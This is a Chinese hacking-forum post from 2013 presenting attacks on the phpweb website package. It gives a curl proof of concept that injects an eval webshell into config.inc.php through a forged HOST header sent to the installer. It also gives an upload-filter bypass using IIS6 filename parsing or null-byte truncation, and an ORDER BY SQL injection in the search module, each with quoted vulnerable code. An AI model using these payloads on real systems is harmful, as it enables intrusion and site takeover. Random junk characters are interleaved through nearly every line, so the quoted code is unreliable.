找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2398|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
! e# N% K7 x# Y% t8 H9 d  l" D
4 J: Z2 W" x6 r( g之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
$ {! S1 _3 Q$ a
, t( m% k6 H5 {+ R5 a. x! \% }; X! _鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
4 X1 U( t9 y6 E  b3 t( s鸡肋2: 有一定安全常识的站长都会删掉 install 目录# G+ \$ N3 x6 x, V
) l5 w; k/ Y6 x# S6 }$ q7 W1 S5 h6 K
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
, l$ p: z$ {) q
# P$ s: m5 d0 O% [1 w+ D分析:
" l# p2 K/ c3 s+ ^5 c! z   @  Y* z, ~# z" X, f% |% ?

4 B5 d- P2 `' ?2 n" W% ]! s, w& q$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤* E* B: n2 b4 x1 E* f! a" b6 B
  M% _- k' G7 t" h# O9 p6 ~7 a
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);3 M! P" u8 Y; [1 T  m1 R4 Q
                                            $filestr=str_replace(" ","",$filestr);: M4 b- S6 v* s" _6 E2 X
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* t0 I7 h* v1 x% {9 `                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
1 W, Q2 d* A/ a                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
% C& ?) Y' p! g8 b6 f5 m" ~9 q4 Q( L                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
. Z# e- J$ m- Z& m) x( u0 Z                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);( t. Y5 r) `$ }# I/ C* I
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);1 s1 V* u) p* \' {0 e
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
% X8 s5 p6 ?. O6 |2 L ; p3 F4 P4 t$ Y. p' y
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
& v( l8 |  I3 Y& |; e% V$ w$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
  ]" r4 W0 v9 O( k9 j1 K! l# \
. v" K' d1 \0 t; d( r. N' bpoc:
- N5 [/ o1 h9 |( f  E # g2 M; z3 S5 {- B
?& _9 L8 F6 W: ~* e
1
+ Y/ X' Q# y' A" u, f5 k+ rcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
" f- @; U( ?% s$ n( jshell地址: /config.inc.php
' a- N6 P  n# s) O" }跟之前的 phpcms一样 需要远程数据库
) p  E. R. v- w2 v6 F3 N  ^. L 0 C# N% ^9 m9 c' u
——————————————————–
# @- v2 w. U, g: m上传漏洞(需要进后台):+ I) J4 i1 \! z. c" t
漏洞文件: /kedit/upload_cgi/upload.php
9 a. M# o1 w! v, T这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用/ j+ i1 X- o+ E' C1 g( _

2 ]# ~% L* v$ C: a
" Z$ E) w  Z) W; q, D, d<?php$ V  f3 ?! ?2 x5 \
    define("ROOTPATH", "../../");
' N7 a* [; Q( l) r! c. G    include(ROOTPATH."includes/admin.inc.php");' |3 `5 h* F' v# Z' |
    NeedAuth(0);
/ @; M' v: W- I+ o3 r% f
7 g9 X. X3 e' F( Z    $dt=date("Ymd",time());
( N6 {! C+ e7 e% x8 H    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){. [% I7 x& V( h) ]  Z* Q
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
9 k. p$ x" y8 q' A8 p! e) B    }. S( T7 W9 D) o" Y

1 g: F& j! T* ~    //文件保存目录路径% q1 R: {+ k7 C9 w; ~0 v# ^$ m
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';  y; ]' J  h  C4 [$ V$ v) ?
    echo $save_path;( E! k/ N9 S$ E/ w; M) B* o
    //文件保存目录URL
* v5 k! ?3 R: N. I" M. y! ~    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
4 I, z- g: ?8 c/ U/ f' J/ B+ a2 m
+ S2 K, w( ?. X4 c4 r! Q    //定义允许上传的文件扩展名
/ A' h2 I: N8 j    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
" w& z2 H* F3 a" X 5 p: x( o7 A' [8 a% \
    //最大文件大小+ m: c$ @2 F, W. P  ?
    $max_size = 1000000;+ A! S2 P) p7 a3 _( n

9 N; h8 [; A1 j    //更改目录权限  Z- u: l# H$ {- v* r9 r: Q
    @mkdir($save_path, 0777);3 b7 F0 Q! Z5 A( N/ j% ]
- v: A  x1 h7 O
    //文件的全部路径
6 _2 `9 K9 v, @7 m1 q3 l    $file_path = $save_path.$_POST['fileName'];   //保存文件名
/ P, c6 H: Q7 G ) v$ D  j6 q  D
    //文件URL
4 s( h6 G% y* Q/ h. ~0 g    $file_url = $save_url.$_POST['fileName'];9 L2 Y' ]  y, `2 k
//有上传文件时
2 }( P3 i" v) y& i( V, |    if (empty($_FILES) === false) {7 Y; ?" J) H6 D$ L1 j: E

! q: m- L: W2 w; R" R8 b- I7 ]            //原文件名% }/ b! r2 p) g& N# N% C, L
            $file_name = $_FILES['fileData']['name'];
& M7 ?: C/ F, C# J5 V& M( U            //服务器上临时文件名& g# a2 H( ?9 E& @$ ]; z$ c  J- Y
            $tmp_name = $_FILES['fileData']['tmp_name'];
' j+ X/ T$ @2 [            //文件大小. l1 Y: ]- g  O1 {
            $file_size = $_FILES['fileData']['size'];
  @) O- M$ }3 k* ~            //检查目录5 L1 ~7 f# `2 T% t6 r; x4 F
            if (@is_dir($save_path) === false) {
4 C3 U( ^4 m/ k# L" o4 e                    alert("上传目录不存在。");
' w' a) M: V8 W            }3 N! h9 `3 n6 b; A  `/ Y* F4 {
            //检查目录写权限" L# e6 I& ]1 _/ S4 z, b
            if (@is_writable($save_path) === false) {, |/ E( I/ z1 c# N9 }9 m
                    alert("上传目录没有写权限。");
+ t( S  k1 w4 ?6 O+ I% p            }
3 n) F# x9 r+ e8 m% ?6 F* i2 t: O            //检查是否已上传
: k- f' s' N- t& e, z5 u. N6 |            if (@is_uploaded_file($tmp_name) === false) {
. W$ [5 g/ K9 D2 f8 v9 k0 i                    alert("临时文件可能不是上传文件。");
3 d5 [" @" r0 n            }
( z1 x1 p$ @# l/ B5 y9 h+ r            //检查文件大小
# [4 M3 e! Z3 j& M8 D            if ($file_size > $max_size) {
& X5 q& s( m. M! Q2 D9 X; B                    alert("上传文件大小超过限制。");7 n' u. l! l+ u+ o: O
            }
4 z, b. y: V. s  D. p, O' ~2 E            //获得文件扩展名
! B0 X& o3 A* S  G- s" x            $temp_arr = explode(".", $_POST['fileName']);
4 c; }* `4 A, U3 D: J, H: d            $file_ext = array_pop($temp_arr);% Y4 Q% \* F- s8 e, S: P
            $file_ext = trim($file_ext);
1 a$ r: ~0 C3 o7 }            $file_ext = strtolower($file_ext);
5 E# l+ Z% x" s# J0 [) s 6 @4 t+ g6 K+ S: y3 c
            //检查扩展名   : t7 R( a% J" |. }5 J
            if (in_array($file_ext, $ext_arr) === false) {     
: l: K- w6 t8 j; R% X! Q" L) \) }                    alert("上传文件扩展名是不允许的扩展名。");
4 Q$ [' y) |9 E" R4 r: W& l            }
% F2 Q$ X( W1 X5 X( X - ^' i' d. d6 f6 n0 p0 W# O. ~
            //移动文件   2 n9 t' _9 w3 |  A) n) J. V
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^2 K+ [" G6 ^! {. N
            if (move_uploaded_file($tmp_name, $file_path) === false) {
, o' N; r* B* F$ C2 I0 i                    alert("上传文件失败。");& r  v2 x1 b  r0 h+ ^) A! Y% v5 E
            }3 C+ R" }* m$ h. ?  G6 {

2 p. \9 t  H( r+ j8 A            @chmod($file_path,0666);" ?4 ~7 q9 c/ w" L
; e9 O3 w0 K* X& ?8 `
    ?>
1 v; R* B$ Y! l1 L7 ]抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
, y, Y3 T% p& \* T3 g1 | $ O7 E! L& _' Q4 }/ e
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, Y$ n4 Q  e) P6 e& @- _ $ s/ j% g8 l7 `- j9 C$ Y% N1 R
——————————————————4 [; Q3 ^* L+ U0 i
注入漏洞:
+ |) ?6 g: ^+ b/ C1 J8 ?- w7 o漏洞文件:search/module/search.php9 g, t- L; }2 ?' @! T# G
/search/index.php?key=1&myord=1 [sqlinjection]
; Z/ d6 l/ |! o( ?: ]( h  p 2 ], [; I) P, g: \- H

/ {% A+ H$ H& ?! r/ L<?php
8 y) r# x& R# P1 {( y2 W   //       ... 省略 n 行...
& [; @/ v; T6 \# c; g   //第18行:- q0 O! L& _" y0 O7 V
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
: _& e0 ~9 x% x           $page=htmlspecialchars($_GET["page"]);% m6 ]5 d. N- E8 P/ i# U
           $myord=htmlspecialchars($_GET["myord"]);
- h9 L$ d5 c, @! f ! w- q* h/ [7 Q, i6 ?  L
   //       ... 省略 n 行...6 r& E0 x$ G6 O0 s  v- {! X# x
   $key,$myord 两个参数带入查询
0 R+ u% _  v  k' I. C8 R   //第47行 $key:% s0 @# i+ o0 e- d  _, c9 f

6 z" L; Q  Z) O( ]9 y, D) M( `   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..0 K; ^6 N+ E2 r( N8 u8 y

" @/ x5 @$ R7 p( ?   //第197行 $myord
, H0 q9 H" r( n/ k  J( ?   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入, ^: S. G! d/ e% }

7 m% [4 w4 J9 R, _/ t6 a8 e   ?>
+ M7 \7 F' n# P" F6 a. [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表